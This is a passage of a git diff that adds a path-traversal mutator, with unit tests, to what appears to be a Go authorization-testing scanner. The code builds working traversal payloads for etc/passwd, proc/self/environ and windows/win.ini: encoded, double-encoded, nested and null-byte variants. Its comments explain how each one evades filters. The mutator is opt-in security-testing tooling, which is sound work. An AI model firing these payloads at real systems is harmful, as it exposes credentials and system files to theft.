+// %00 is a one-byte addition. +// +// - absolute-path: replaces the path with an absolute reference to the +// target file. Bypasses handlers that strip leading `../` segments +// but pass the rest through to a `File.open` / `fs.readFile` call +// that honours absolute paths. The Java `java.io.File` and Node.js +// `path.resolve` are the canonical victims; ranked separately +// because the payload shape has no `..` at all. +// +// For each technique, one variant is emitted per traversal target. The +// target set is kept small and high-signal — the files every traversal +// payload list opens with, covering Linux (`etc/passwd`, +// `proc/self/environ`) and Windows (`windows/win.ini`). Cross-product +// is (6 techniques × len(traversalTargets)) variants — bounded and +// deterministic. The variant ID derived by the planner from the +// mutation Detail carries both the technique and the target so the +// offline corpus tests pin every cross-product cell. +// +// Every variant keeps the caller's own credentials (Identity == nil): +// this is emphatically NOT an identity swap. The bug being tested is +// "the same legitimately-credentialed caller breaks out of the +// resource subtree the route prefix was supposed to confine them to." +// Detection rides the existing comparative ladder unchanged: a variant +// that returns a 2xx response whose body shape diverges sharply from +// the caller's own baseline (or which contains content markers from +// the target file the comparative ladder did not see in the owner +// baseline) is the candidate traversal finding. Findings are class +// "authz-bypass" (ASVS V12.3 — file & resource control, severity HIGH) +// — the same class ForbiddenBypass, HostHeader, MethodOverride, +// CSRFHeader, CookieTamper, HeaderInjection, ParamPollution, +// OriginSpoof, ContentTypeConfusion, and CacheDeception use. +// +// Endpoints whose path is empty or root (`/`) are skipped — there is no +// final segment to reshape, and the comparative ladder cannot +// distinguish a root traversal from a root baseline. This mirrors the +// no-op-skip pattern HostHeader, CacheDeception, and ForbiddenBypass +// use for degenerate inputs. +// +// PathTraversal is OFF by default (Enabled == false). The traversal +// payloads are active probes that reach OS-sensitive paths and (on a +// vulnerable target) exfiltrate sensitive file contents, so it only +// fires when the operator explicitly opts in via --path-traversal. +// This mirrors the off-by-default gating of XXE, MassAssign, +// EnumerateID, ForbiddenBypass, WSHijack, CSRFHeader, MethodOverride, +// HostHeader, CookieTamper, HeaderInjection, ParamPollution, +// OriginSpoof, ContentTypeConfusion, CacheDeception, and +// PrototypePollution. +// +// Like every mutator, Generate is pure and deterministic: techniques +// are emitted in sorted-by-name order, targets in sorted order within +// each technique, so identical inputs yield an identical variant +// slice. +type PathTraversal struct { + Enabled bool +} + +func (PathTraversal) Name() string { return "path-traversal" } + +// traversalTargets is the canonical, sorted list of high-signal +// traversal target files. Kept small (Linux + Windows + Linux-runtime) +// because variant count is (techniques × targets) and the comparative +// ladder benefits from a focused, attributable payload set rather than +// a brute-forced wordlist. Sorted alphabetically so emission order is +// deterministic without an at-call-site sort; the order test covers +// this. Path components are joined with "/" — Windows targets still +// use forward slashes because the traversal payload is constructed on +// the wire (where both Windows IIS and Node.js servers accept +// forward-slash-separated traversal as well as backslash-separated). +var traversalTargets = []string{ + // Linux passwd database — the universal "you got file read" canary. + "etc/passwd", + // Linux per-process environ — frequently exposes secrets injected + // via the parent shell (DB URLs, API tokens). + "proc/self/environ", + // Windows initialisation file — the universal Windows file-read + // canary, present on every Windows host since NT. + "windows/win.ini", +} + +// traversalDepth is the number of `../` segments injected per payload. +// Six levels reaches the filesystem root from a typical +// `/var/www/app/handler/segment` request path on Linux and +// `C:\Inetpub\wwwroot\app\handler\segment` on Windows — enough headroom +// for the deepest deployment shapes without ballooning the payload. +// Kept as a package constant so the variant ID is stable across runs +// and across builds. +const traversalDepth = 6 + +func (pt PathTraversal) Generate(base *model.CapturedRequest, _ *model.RoleMatrix) []model.Variant { + if !pt.Enabled || base == nil || base.URL == nil { + return nil + } + + origPath := base.URL.Path + // Skip root / empty paths: there is no final segment to reshape and + // the comparative ladder cannot classify a root-against-root probe. + if origPath == "" || origPath == "/" { + return nil + } + + // Compute the base directory the traversal rides on: everything up + // to and including the final "/". For "/api/files/photo.jpg" the + // base is "/api/files/"; the traversal replaces the trailing + // segment ("photo.jpg") so the rewritten path is + // "/api/files/" + "../../..etc/passwd" → "/api/files/../../etc/passwd" + // which a non-canonicalising file lookup resolves to "/etc/passwd". + base_ := origPath + if i := strings.LastIndexByte(origPath, '/'); i >= 0 { + base_ = origPath[:i+1] + } else { + base_ = "/" + } + + // Deterministic copies sorted alphabetically. The order test pins + // both invariants. + targets := append([]string(nil), traversalTargets...) + sort.Strings(targets) + + // Technique names, sorted so the outer-loop cross-product emission + // order is stable regardless of insertion order below. Pinned by + // the order test. + techniques := []string{ + "absolute-path", + "dot-dot-double-encoded", + "dot-dot-encoded", + "dot-dot-slash", + "nested-dot-dot", + "null-byte-suffix", + } + sort.Strings(techniques) + + var out []model.Variant + for _, tech := range techniques { + for _, tgt := range targets { + decoded, escaped, ok := buildTraversalPath(tech, base_, tgt) + if !ok { + continue + } + // Guard against a transform that happened to produce the same + // wire path as the original (e.g. a degenerate input). The + // comparative ladder cannot distinguish a byte-identical + // variant from the baseline; mirrors the no-op-skip every + // path-mutating mutator uses. + if escaped == origPath { + continue + } + req := CloneRequest(base) + cloneURL(req, base) + req.URL.Path = decoded + // RawPath is honoured by url.URL.String() only when it is a + // valid escaping of Path; the encoded / double-encoded / + // null-byte techniques rely on this to reach the wire with + // their percent-encoded payloads un-double-encoded (the + // same invariant ForbiddenBypass and CacheDeception use). + req.URL.RawPath = escaped + + out = append(out, model.Variant{ + Base: req, + Identity: nil, // credentials unchanged — same permitted caller + Mutation: model.Mutation{ + Type: "path-traversal", + Description: "reshape path (" + tech + ":" + tgt + + ") to escape resource scope via directory traversal", + Detail: map[string]string{ + "path-traversal": tech + ":" + tgt, + "technique": tech + ":" + tgt, + "shape": tech, + "target": tgt, + "path_from": origPath, + "path_to": escaped, + }, + Class: "authz-bypass", + }, + }) + } + } + + return out +} + +// buildTraversalPath returns (decoded, escaped, ok) for a given technique + +// base directory + target file. The decoded form is what url.URL.Path +// holds (the form a non-encoding-aware logger or comparator sees); the +// escaped form is what goes on the wire via url.URL.RawPath. The two are +// identical for techniques that inject no percent-encoding (dot-dot-slash, +// nested-dot-dot, absolute-path); the encoded / double-encoded / +// null-byte techniques set them deliberately so the percent-encoded +// payload survives un-double-encoded to the wire. +// +// The function is pure — no I/O, no time-dependent state — and is +// exported (lowercase, package-private) to the test file so individual +// techniques can be unit-tested without going through Generate. +func buildTraversalPath(technique, baseDir, target string) (decoded, escaped string, ok bool) { + if baseDir == "" || target == "" { + return "", "", false + } + switch technique { + case "dot-dot-slash": + // /api/files/ -> /api/files/../../../../../../etc/passwd + // Literal `../` chain; the most direct payload. + p := baseDir + strings.Repeat("../", traversalDepth) + target + return p, p, true + + case "dot-dot-encoded": + // /api/files/ -> /api/files/..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd + // Decoded form keeps the real "/" (the file lookup sees the + // traversal); the escaped form carries the literal %2f so the + // gateway's literal-`../` filter does not see the match. + decodedPath := baseDir + strings.Repeat("../", traversalDepth) + target + escapedPath := baseDir + strings.Repeat("..%2f", traversalDepth) + target + return decodedPath, escapedPath, true + + case "dot-dot-double-encoded": + // /api/files/ -> /api/files/..%252f..%252f...etc/passwd + // Twice-encoded. A gateway that decodes once sees ..%2f (still + // not the literal `../` filter target); the downstream handler + // decodes a second time and the real `../` reaches the file + // lookup. Decoded form mirrors single-encoded for the + // comparative ladder (the `%25` is the encoding of `%`, which + // after one decode becomes `%2f`; url.URL.Path holds the + // single-decoded view). + decodedPath := baseDir + strings.Repeat("..%2f", traversalDepth) + target + escapedPath := baseDir + strings.Repeat("..%252f", traversalDepth) + target + return decodedPath, escapedPath, true + + case "nested-dot-dot": + // /api/files/ -> /api/files/....//....//....//etc/passwd + // Each `....//` collapses to `../` after a single-pass filter + // strips a `../` literal; the same payload defeats hand-written + // `replace("../", "")` sanitisers. + p := baseDir + strings.Repeat("....//", traversalDepth) + target + return p, p, true + + case "null-byte-suffix": + // /api/files/ -> /api/files/../../...etc/passwd%00 + // Bypasses extension-allowlist filters in C-backed handlers: + // the high-level string comparison sees a (post-NUL) suffix and + // approves; read(2)/open(2) terminate the path at NUL. + decodedPath := baseDir + strings.Repeat("../", traversalDepth) + target + "\x00" + escapedPath := baseDir + strings.Repeat("../", traversalDepth) + target + "%00" + return decodedPath, escapedPath, true + + case "absolute-path": + // /api/files/ -> /etc/passwd + // No `..` at all; the payload is the absolute path the + // downstream `File.open` / `path.resolve` will honour + // verbatim. The escaped form is identical to the decoded form + // (no percent-encoding injected). + p := "/" + target + return p, p, true + } + return "", "", false +} + +// pathTraversalTechnique is a small helper used in tests to assert a +// mutation's technique without depending on the Detail map layout from +// outside the package. Kept here so the technique-key contract lives next +// to its producer (the same pattern hostHeaderTechnique, +// originSpoofTechnique, and cacheDeceptionTechnique establish). +func pathTraversalTechnique(m model.Mutation) string { + if m.Detail == nil { + return "" + } + return strings.TrimSpace(m.Detail["technique"]) +} diff --git a/internal/mutate/path_traversal_test.go b/internal/mutate/path_traversal_test.go new file mode 100644 index 0000000..b45224b --- /dev/null +++ b/internal/mutate/path_traversal_test.go @@ -0,0 +1,422 @@ +package mutate + +import ( + "net/http" + "net/url" + "sort" + "strings" + "testing" + + "github.com/bugsyhewitt/possession/internal/model" +) + +// ptReq builds a captured GET request authenticated as alice against a +// per-user file endpoint. Used as the canonical input across the +// path-traversal tests. +func ptReq(t *testing.T) *model.CapturedRequest { + t.Helper() + u, _ := url.Parse("https://api.example.com/api/files/photo.jpg") + h := http.Header{} + h.Set("Authorization", "Bearer alice-token") + return &model.CapturedRequest{ + ID: "alice-photo", + Method: "GET", + URL: u, + Headers: h, + } +} + +// ptTechniques indexes variants by their technique string for assertion +// lookup. Mirrors hhTechniques / cdTechniques from sibling mutator tests. +func ptTechniques(vs []model.Variant) map[string]model.Variant { + out := make(map[string]model.Variant, len(vs)) + for _, v := range vs { + out[pathTraversalTechnique(v.Mutation)] = v + } + return out +} + +func TestPathTraversal_DisabledByDefault(t *testing.T) { + if vs := (PathTraversal{}).Generate(ptReq(t), nil); len(vs) != 0 { + t.Fatalf("path-traversal must be off by default; got %d variants", len(vs)) + } +} + +func TestPathTraversal_NilBaseSafe(t *testing.T) { + if vs := (PathTraversal{Enabled: true}).Generate(nil, nil); vs != nil { + t.Errorf("nil base must yield nil variants; got %v", vs) + } +} + +func TestPathTraversal_NilURLSafe(t *testing.T) { + req := ptReq(t) + req.URL = nil + if vs := (PathTraversal{Enabled: true}).Generate(req, nil); vs != nil { + t.Errorf("nil URL must yield nil variants; got %v", vs) + } +} + +// Root or empty path produces no variants — there is no trailing +// segment to reshape, and the comparative ladder cannot classify a +// root-against-root probe. Mirrors the no-op-skip pattern HostHeader +// and CacheDeception use. +func TestPathTraversal_RootPathSkipped(t *testing.T) { + for _, p := range []string{"", "/"} { + req := ptReq(t) + u, _ := url.Parse("https://api.example.com" + p) + req.URL = u + if vs := (PathTraversal{Enabled: true}).Generate(req, nil); len(vs) != 0 { + t.Errorf("path %q must yield 0 variants; got %d", p, len(vs)) + } + } +} + +// Every variant must keep the caller's own credentials (Identity == nil): +// this is a same-caller scope-escape probe, NOT an identity swap. +// Mirrors the equivalent assertion in cache_deception_test.go and +// host_header_test.go. +func TestPathTraversal_KeepsCallerCredentials(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + if len(vs) == 0 { + t.Fatal("expected variants for an enabled path-traversal mutator") + } + for _, v := range vs { + tech := pathTraversalTechnique(v.Mutation) + if v.Identity != nil { + t.Errorf("technique %q: Identity must be nil (same caller); got %v", tech, v.Identity) + } + if v.Base.Headers.Get("Authorization") != "Bearer alice-token" { + t.Errorf("technique %q: caller credentials altered; Authorization=%q", + tech, v.Base.Headers.Get("Authorization")) + } + if v.Mutation.Type != "path-traversal" { + t.Errorf("technique %q: Type = %q; want path-traversal", tech, v.Mutation.Type) + } + if v.Mutation.Class != "authz-bypass" { + t.Errorf("technique %q: Class = %q; want authz-bypass", tech, v.Mutation.Class) + } + } +} + +// The full cross-product is (6 techniques × 3 traversal targets) = 18 +// variants. Pins both the technique count and the target set; either +// drifting silently is the failure mode this test is here to prevent. +func TestPathTraversal_FullCrossProduct(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + wantTechs := 6 + wantTargets := len(traversalTargets) + want := wantTechs * wantTargets + if len(vs) != want { + t.Errorf("variant count = %d; want %d (%d techniques × %d targets)", + len(vs), want, wantTechs, wantTargets) + } + // Each technique must appear exactly len(targets) times. + techCounts := map[string]int{} + for _, v := range vs { + techCounts[v.Mutation.Detail["shape"]]++ + } + for _, s := range []string{"dot-dot-slash", "dot-dot-encoded", "dot-dot-double-encoded", "nested-dot-dot", "null-byte-suffix", "absolute-path"} { + if techCounts[s] != wantTargets { + t.Errorf("technique %q: %d variants; want %d (one per target)", + s, techCounts[s], wantTargets) + } + } + // Each target must appear exactly wantTechs times. + tgtCounts := map[string]int{} + for _, v := range vs { + tgtCounts[v.Mutation.Detail["target"]]++ + } + for _, tgt := range traversalTargets { + if tgtCounts[tgt] != wantTechs { + t.Errorf("target %q: %d variants; want %d (one per technique)", + tgt, tgtCounts[tgt], wantTechs) + } + } +} + +// dot-dot-slash decorates the URL as /../../.... Decoded +// and escaped forms are identical (no percent-encoding injected). +func TestPathTraversal_DotDotSlashShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["dot-dot-slash:etc/passwd"] + if !ok { + t.Fatal("missing dot-dot-slash:etc/passwd variant") + } + wantPath := "/api/files/" + strings.Repeat("../", traversalDepth) + "etc/passwd" + if v.Base.URL.Path != wantPath { + t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath) + } + if v.Base.URL.RawPath != wantPath { + t.Errorf("RawPath = %q; want %q (no encoding injected)", v.Base.URL.RawPath, wantPath) + } + if v.Mutation.Detail["path_from"] != "/api/files/photo.jpg" { + t.Errorf("path_from = %q", v.Mutation.Detail["path_from"]) + } +} + +// dot-dot-encoded decorates the URL with %2f-encoded path separators in +// the traversal chain. The Path field holds the decoded view (real "/"), +// the RawPath field holds the literal %2f escape so url.URL.String() +// emits it un-double-encoded on the wire. +func TestPathTraversal_DotDotEncodedShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["dot-dot-encoded:etc/passwd"] + if !ok { + t.Fatal("missing dot-dot-encoded:etc/passwd variant") + } + if !strings.Contains(v.Base.URL.RawPath, "..%2f") { + t.Errorf("RawPath = %q; want literal ..%%2f on the wire", v.Base.URL.RawPath) + } + // Sanity: url.URL.String() must emit the %2f form un-double-encoded. + if strings.Contains(v.Base.URL.String(), "%252f") { + t.Errorf("URL.String() = %q; %%2f was double-encoded to %%252f", v.Base.URL.String()) + } + if !strings.Contains(v.Base.URL.String(), "%2f") { + t.Errorf("URL.String() = %q; want literal %%2f on the wire", v.Base.URL.String()) + } +} + +// dot-dot-double-encoded carries `..%252f` on the wire. The decoded +// view contains `..%2f` (the single-decoded form a comparator would +// see); the escaped form keeps `..%252f` so url.URL.String() emits the +// double-encoded payload verbatim — a downstream handler that decodes +// twice recovers `../`. +func TestPathTraversal_DotDotDoubleEncodedShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["dot-dot-double-encoded:windows/win.ini"] + if !ok { + t.Fatal("missing dot-dot-double-encoded:windows/win.ini variant") + } + if !strings.Contains(v.Base.URL.RawPath, "..%252f") { + t.Errorf("RawPath = %q; want literal ..%%252f on the wire", v.Base.URL.RawPath) + } + if !strings.Contains(v.Base.URL.String(), "%252f") { + t.Errorf("URL.String() = %q; want literal %%252f on the wire", v.Base.URL.String()) + } +} + +// nested-dot-dot decorates the URL with `....//` repeats — the form +// that defeats single-pass filters which strip `../` literals. +// Decoded and escaped forms are identical (no percent-encoding). +func TestPathTraversal_NestedDotDotShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["nested-dot-dot:etc/passwd"] + if !ok { + t.Fatal("missing nested-dot-dot:etc/passwd variant") + } + wantPath := "/api/files/" + strings.Repeat("....//", traversalDepth) + "etc/passwd" + if v.Base.URL.Path != wantPath { + t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath) + } + if v.Base.URL.RawPath != wantPath { + t.Errorf("RawPath = %q; want %q", v.Base.URL.RawPath, wantPath) + } +} + +// null-byte-suffix appends %00 to the target. The decoded view carries +// a literal NUL byte (the form a downstream handler sees after URL +// decoding); the escaped view carries the literal %00 so the wire form +// is unambiguous. +func TestPathTraversal_NullByteSuffixShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["null-byte-suffix:proc/self/environ"] + if !ok { + t.Fatal("missing null-byte-suffix:proc/self/environ variant") + } + if !strings.HasSuffix(v.Base.URL.RawPath, "proc/self/environ%00") { + t.Errorf("RawPath = %q; want suffix proc/self/environ%%00", v.Base.URL.RawPath) + } + if !strings.HasSuffix(v.Base.URL.Path, "proc/self/environ\x00") { + t.Errorf("Path = %q; want literal NUL suffix on the decoded view", v.Base.URL.Path) + } + if !strings.Contains(v.Base.URL.String(), "%00") { + t.Errorf("URL.String() = %q; want literal %%00 on the wire", v.Base.URL.String()) + } +} + +// absolute-path replaces the entire path with the absolute target. +// Decoded and escaped forms are identical (no percent-encoding); the +// payload has no `..` segments at all — distinct from every other +// technique in this set. +func TestPathTraversal_AbsolutePathShape(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + tech := ptTechniques(vs) + v, ok := tech["absolute-path:etc/passwd"] + if !ok { + t.Fatal("missing absolute-path:etc/passwd variant") + } + wantPath := "/etc/passwd" + if v.Base.URL.Path != wantPath { + t.Errorf("Path = %q; want %q", v.Base.URL.Path, wantPath) + } + if v.Base.URL.RawPath != wantPath { + t.Errorf("RawPath = %q; want %q", v.Base.URL.RawPath, wantPath) + } + if strings.Contains(v.Base.URL.Path, "..") { + t.Errorf("absolute-path payload must contain no `..`; got %q", v.Base.URL.Path) + } +} + +// A path with a trailing slash (a directory-shaped endpoint) still +// produces variants — the base directory IS the path itself, and the +// traversal hangs off it cleanly with no double-slash. +func TestPathTraversal_TrailingSlashHandling(t *testing.T) { + req := ptReq(t) + u, _ := url.Parse("https://api.example.com/api/files/") + req.URL = u + vs := (PathTraversal{Enabled: true}).Generate(req, nil) + if len(vs) == 0 { + t.Fatal("trailing-slash path must still produce traversal variants") + } + for _, v := range vs { + if strings.Contains(v.Base.URL.Path, "//") && + v.Mutation.Detail["shape"] != "nested-dot-dot" { + // nested-dot-dot intentionally contains `//` as part of its + // payload (`....//`); every other technique must not double-slash. + t.Errorf("technique %q: variant Path = %q contains double slash", + v.Mutation.Detail["shape"], v.Base.URL.Path) + } + } +} + +// The baseline URL is NEVER mutated by Generate — every variant gets +// its own URL via cloneURL. Mirrors the equivalent invariant tested in +// host_header_test.go and cache_deception_test.go. +func TestPathTraversal_BaselineURLNotMutated(t *testing.T) { + req := ptReq(t) + origPath := req.URL.Path + origRawPath := req.URL.RawPath + _ = (PathTraversal{Enabled: true}).Generate(req, nil) + if req.URL.Path != origPath { + t.Errorf("baseline URL.Path mutated: %q → %q", origPath, req.URL.Path) + } + if req.URL.RawPath != origRawPath { + t.Errorf("baseline URL.RawPath mutated: %q → %q", origRawPath, req.URL.RawPath) + } +} + +// Generate must be deterministic: identical input yields an identical +// variant slice (same techniques in the same order). Pins the +// "sorted-by-name" emission contract. +func TestPathTraversal_Deterministic(t *testing.T) { + a := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + b := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + if len(a) != len(b) { + t.Fatalf("non-deterministic length: %d vs %d", len(a), len(b)) + } + for i := range a { + ta := pathTraversalTechnique(a[i].Mutation) + tb := pathTraversalTechnique(b[i].Mutation) + if ta != tb { + t.Errorf("pos %d: non-deterministic technique %q vs %q", i, ta, tb) + } + if a[i].Mutation.Description != b[i].Mutation.Description { + t.Errorf("pos %d: non-deterministic description %q vs %q", + i, a[i].Mutation.Description, b[i].Mutation.Description) + } + } +} + +// Technique names are emitted in sorted order (the outer loop of the +// cross-product) so generation order is stable across builds. Within a +// technique, targets are emitted in sorted order; both invariants are +// pinned here. +func TestPathTraversal_SortedTechniquesAndTargets(t *testing.T) { + vs := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + var seenTechs []string + last := "" + for _, v := range vs { + s := v.Mutation.Detail["shape"] + if s != last { + seenTechs = append(seenTechs, s) + last = s + } + } + if !sort.StringsAreSorted(seenTechs) { + t.Errorf("techniques emitted out of order: %v", seenTechs) + } + byTech := map[string][]string{} + for _, v := range vs { + byTech[v.Mutation.Detail["shape"]] = append(byTech[v.Mutation.Detail["shape"]], v.Mutation.Detail["target"]) + } + for tech, tgts := range byTech { + if !sort.StringsAreSorted(tgts) { + t.Errorf("technique %q: targets emitted out of order: %v", tech, tgts) + } + } +} + +// The Name() string is the public identifier used by the registry, by the +// reporter, and by allowlist suppressions. It must be stable — changing it +// silently invalidates existing allowlist entries operators have written +// against the tool's output. Mirrors the equivalent assertion in every +// sibling mutator's test file. +func TestPathTraversal_Name(t *testing.T) { + if got := (PathTraversal{}).Name(); got != "path-traversal" { + t.Errorf("Name() = %q; want path-traversal", got) + } +} + +// path-traversal must NOT be in the DefaultRegistry — it is registered +// separately by buildRegistry as an opt-in mutator. Mirrors the +// equivalent assertion every other off-by-default mutator has against +// DefaultRegistry. +func TestPathTraversal_NotInDefaultRegistry(t *testing.T) { + for _, n := range DefaultRegistry().Names() { + if n == "path-traversal" { + t.Fatalf("path-traversal must NOT be in DefaultRegistry() (off-by-default mutator)") + } + } +} + +// buildTraversalPath returns ok=false for an unknown technique so the +// caller (Generate) skips emission silently rather than synthesising a +// degenerate variant. +func TestPathTraversal_UnknownTechniqueSkipped(t *testing.T) { + if _, _, ok := buildTraversalPath("nonsense-technique", "/api/files/", "etc/passwd"); ok { + t.Error("unknown technique must return ok=false") + } +} + +// An empty baseDir or empty target yields ok=false: defensive guards +// against degenerate inputs the caller could otherwise propagate to +// the wire. +func TestPathTraversal_DegenerateInputsSkipped(t *testing.T) { + if _, _, ok := buildTraversalPath("dot-dot-slash", "", "etc/passwd"); ok { + t.Error("empty baseDir must return ok=false") + } + if _, _, ok := buildTraversalPath("dot-dot-slash", "/api/files/", ""); ok { + t.Error("empty target must return ok=false") + } +} + +// PathTraversal is disjoint from ForbiddenBypass's traversal-semicolon +// technique: ForbiddenBypass reshapes the path to resolve back to the +// SAME handler (`/admin/..;/admin`), PathTraversal escapes the resource +// scope entirely (`/admin/../../etc/passwd`). The mutation Type and +// the payload shape MUST differ. +func TestPathTraversal_DisjointFromForbiddenBypass(t *testing.T) { + ptVariants := (PathTraversal{Enabled: true}).Generate(ptReq(t), nil) + for _, v := range ptVariants { + if v.Mutation.Type == "forbidden-bypass" { + t.Errorf("path-traversal variant must not carry forbidden-bypass type; got %q", + v.Mutation.Type) + } + // No path-traversal payload should resolve back to the original + // resource collection (`/api/files/`): every payload either + // escapes via `..` segments or jumps to an absolute path. + if v.Mutation.Detail["shape"] == "absolute-path" { + continue // absolute-path replaces the path wholesale + } + if !strings.Contains(v.Base.URL.Path, "..") && + !strings.Contains(v.Base.URL.RawPath, "..") { + t.Errorf("technique %q: neither Path nor RawPath contains `..`; payload does not escape scope", + v.Mutation.Detail["shape"]) + } + } +}